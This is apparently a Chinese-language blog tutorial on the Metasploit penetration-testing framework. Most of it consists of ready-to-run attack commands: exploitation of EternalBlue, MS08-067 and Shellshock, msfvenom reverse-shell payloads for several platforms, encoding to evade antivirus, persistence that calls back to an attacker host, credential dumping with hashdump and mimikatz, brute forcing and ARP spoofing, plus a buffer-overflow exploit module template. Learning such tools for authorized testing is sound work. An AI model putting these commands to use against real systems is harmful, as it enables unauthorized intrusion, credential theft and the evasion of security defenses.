Metasploit渗透测试框架指南
概述
Metasploit是世界上最著名的渗透测试框架之一,提供了丰富的漏洞利用模块、载荷生成器和后渗透工具。它是安全研究人员和渗透测试人员进行安全评估的重要工具。
架构组成
核心组件
- Exploits(漏洞利用):针对特定漏洞的攻击代码
- Payloads(载荷):在目标系统上执行的代码
- Auxiliary(辅助模块):扫描、嗅探等辅助功能
- Encoders(编码器):绕过防病毒软件检测
- NOPs(空操作):填充缓冲区的指令
- Post(后渗透):获得访问权限后的操作模块
接口类型
- msfconsole:命令行接口(最常用)
- msfcli:命令行工具(已废弃)
- msfgui:图形界面(已废弃)
- msfweb:Web界面(已废弃)
- Armitage:第三方图形界面
- Cobalt Strike:商业版本
基础使用
启动和基本命令
# 启动Metasploit
msfconsole
# 基本命令
help # 显示帮助
version # 显示版本信息
show exploits # 显示所有漏洞利用模块
show payloads # 显示所有载荷
show auxiliary # 显示辅助模块
show options # 显示当前模块选项
info # 显示模块详细信息
search # 搜索模块
use # 使用模块
set # 设置参数
unset # 取消设置
run/exploit # 执行模块
back # 返回上级
exit # 退出
模块搜索和选择
# 搜索特定漏洞
search ms17-010
search type:exploit platform:windows
search cve:2017-0144
# 搜索特定服务
search ssh
search ftp
search smb
# 使用模块
use exploit/windows/smb/ms17_010_eternalblue
use auxiliary/scanner/portscan/tcp
use payload/windows/meterpreter/reverse_tcp
漏洞利用实战
Windows漏洞利用
MS17-010 EternalBlue
# 使用EternalBlue漏洞
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.1.100
set LHOST 192.168.1.10
check # 检查目标是否存在漏洞
exploit
MS08-067 Conficker
# 使用MS08-067漏洞
use exploit/windows/smb/ms08_067_netapi
set RHOSTS 192.168.1.100
set LHOST 192.168.1.10
set payload windows/meterpreter/reverse_tcp
exploit
Linux漏洞利用
Shellshock漏洞
# 使用Shellshock漏洞
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS 192.168.1.100
set TARGETURI /cgi-bin/test.cgi
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit
Dirty COW权限提升
# 使用Dirty COW漏洞
use exploit/linux/local/af_packet_chocobo_root_priv_esc
sessions -l # 列出会话
sessions -i 1 # 进入会话1
background # 后台运行当前会话
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
Web应用漏洞利用
SQL注入
# 使用SQL注入模块
use auxiliary/scanner/http/sqlmap
set RHOSTS 192.168.1.100
set TARGETURI /login.php
set METHOD POST
set DATA "username=admin&password=test"
run
文件上传漏洞
# PHP文件上传漏洞
use exploit/multi/http/php_utility_belt_rce
set RHOSTS 192.168.1.100
set TARGETURI /upload/
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit
载荷生成
Msfvenom使用
# 生成Windows可执行文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o payload.exe
# 生成Linux ELF文件
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o payload.elf
# 生成PHP Webshell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o payload.php
# 生成Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -o payload.apk
# 生成PowerShell脚本
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f psh -o payload.ps1
编码绕过
# 使用编码器绕过AV
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o encoded_payload.exe
# 多重编码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -e x86/alpha_upper -i 5 -f exe -o multi_encoded.exe
# 使用模板
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -x template.exe -f exe -o templated_payload.exe
Meterpreter后渗透
基本命令
# 系统信息
sysinfo # 系统信息
getuid # 当前用户
ps # 进程列表
getpid # 当前进程ID
getprivs # 当前权限
# 文件系统操作
pwd # 当前目录
ls # 列出文件
cd # 切换目录
cat # 查看文件内容
download # 下载文件
upload # 上传文件
edit # 编辑文件
search # 搜索文件
# 网络操作
ifconfig # 网络配置
netstat # 网络连接
arp # ARP表
route # 路由表
portfwd # 端口转发
权限提升
# 使用getsystem提升权限
getsystem
# 手动权限提升
use priv
use incognito
# 加载权限提升模块
run post/windows/escalate/getsystem
run post/multi/recon/local_exploit_suggester
持久化
# 创建服务持久化
run persistence -S -U -X -i 10 -p 4445 -r 192.168.1.10
# 注册表持久化
run post/windows/manage/persistence_exe
# 计划任务持久化
run post/windows/manage/schtask_persistence
凭据获取
# 获取密码哈希
hashdump
# 使用mimikatz
load mimikatz
wdigest
msv
kerberos
# 获取LSA secrets
lsa_dump_secrets
# 获取SAM数据库
lsa_dump_sam
辅助模块使用
扫描模块
# 端口扫描
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 21,22,23,25,53,80,110,443,993,995
run
# SMB扫描
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run
# HTTP标题扫描
use auxiliary/scanner/http/http_header
set RHOSTS 192.168.1.0/24
run
# SSH版本扫描
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
run
暴力破解
# SSH暴力破解
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
# FTP暴力破解
use auxiliary/scanner/ftp/ftp_login
set RHOSTS 192.168.1.100
set USERNAME admin
set PASS_FILE passwords.txt
run
# SMB暴力破解
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.1.100
set SMBUser administrator
set PASS_FILE passwords.txt
run
嗅探模块
# 数据包嗅探
use auxiliary/sniffer/psnuffle
set INTERFACE eth0
run
# ARP欺骗
use auxiliary/spoof/arp/arp_poisoning
set INTERFACE eth0
set GATEWAY 192.168.1.1
set TARGETS 192.168.1.100
run
高级技术
多重处理器
# 设置多重处理器
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
set ExitOnSession false
exploit -j -z
# 处理多个会话
sessions -l
sessions -i 1
sessions -k 1
sessions -K
路由和代理
# 添加路由
route add 10.0.0.0/24 1
route print
# SOCKS代理
use auxiliary/server/socks4a
set SRVPORT 1080
run -j
# 端口转发
portfwd add -l 3389 -p 3389 -r 10.0.0.100
portfwd list
portfwd delete -l 3389
自动化脚本
# Metasploit资源脚本示例
# auto_exploit.rc
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS file:/tmp/targets.txt
set LHOST 192.168.1.10
set payload windows/meterpreter/reverse_tcp
set AutoRunScript post/windows/manage/migrate
exploit -j -z
# 运行资源脚本
msfconsole -r auto_exploit.rc
自定义模块开发
基本模块结构
##
# 自定义漏洞利用模块
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Custom Exploit Module',
'Description' => %q{
This is a custom exploit module for demonstration.
},
'Author' => ['Your Name'],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-0001'],
['URL', 'http://example.com/advisory']
],
'Platform' => 'linux',
'Targets' => [
['Generic Target', {}]
],
'Payload' => {
'Space' => 400,
'BadChars' => "\x00\x0a\x0d"
},
'DefaultTarget' => 0,
'DisclosureDate' => '2024-01-01'
))
register_options([
Opt::RPORT(9999)
])
end
def check
connect
sock.put("VERSION\r\n")
response = sock.get_once
disconnect
if response && response.include?('Vulnerable 1.0')
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def exploit
connect
buffer = "A" * 260
buffer << [target.ret].pack('V')
buffer << payload.encoded
sock.put("OVERFLOW #{buffer}\r\n")
handler
disconnect
end
end
辅助模块示例
##
# 自定义扫描模块
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Custom Service Scanner',
'Description' => 'Scans for custom service',
'Author' => ['Your Name'],
'License' => MSF_LICENSE
))
register_options([
Opt::RPORT(9999)
])
end
def run_host(target_host)
begin
connect
sock.put("HELLO\r\n")
response = sock.get_once
if response && response.include?('WELCOME')
print_good("#{target_host}:#{rport} - Service detected")
report_service(
:host => target_host,
:port => rport,
:name => 'custom-service',
:info => response.strip
)
end
rescue ::Exception => e
print_error("#{target_host}:#{rport} - #{e.message}")
ensure
disconnect
end
end
end
数据库管理
数据库配置
# 初始化数据库
msfdb init
# 连接数据库
db_connect
# 查看数据库状态
db_status
# 重建数据库
msfdb reinit
数据管理
# 工作空间管理
workspace # 列出工作空间
workspace -a project1 # 创建工作空间
workspace project1 # 切换工作空间
workspace -d project1 # 删除工作空间
# 主机管理
hosts # 列出主机
hosts -a 192.168.1.100 # 添加主机
hosts -d 192.168.1.100 # 删除主机
# 服务管理
services # 列出服务
services -p 80 # 查看特定端口服务
# 漏洞管理
vulns # 列出漏洞
vulns -p 445 # 查看特定端口漏洞
# 凭据管理
creds # 列出凭据
creds -p smb # 查看特定协议凭据
最佳实践
安全使用
- 授权测试:确保有合法的测试授权
- 范围限制:严格控制测试范围
- 数据保护:妥善保管测试数据
- 及时清理:测试后清理痕迹
效率提升
- 使用工作空间:组织不同项目
- 资源脚本:自动化常用操作
- 数据库记录:保存测试结果
- 模块定制:开发专用模块
报告编写
# 渗透测试报告
## 执行摘要
- 测试时间:2024-01-15
- 测试范围:192.168.1.0/24
- 发现漏洞:5个高危,3个中危
## 漏洞详情
### 1. MS17-010 EternalBlue漏洞
- **影响主机**:192.168.1.100
- **风险等级**:高危
- **利用方式**:SMB协议漏洞
- **影响**:远程代码执行
- **修复建议**:安装安全补丁KB4013389
### 2. 弱密码问题
- **影响服务**:SSH (192.168.1.101:22)
- **风险等级**:中危
- **发现凭据**:admin/123456
- **修复建议**:使用强密码策略
## 修复建议
1. 及时安装安全补丁
2. 加强密码策略
3. 网络分段隔离
4. 部署入侵检测系统
总结
Metasploit是功能强大的渗透测试框架,掌握其使用方法对于安全评估工作至关重要。在使用过程中,必须严格遵守法律法规和职业道德,确保测试活动的合法性和专业性。通过系统学习和实践,可以有效提高渗透测试技能,为网络安全防护提供有力支持。
> 评论区域 (1 条)_
发表评论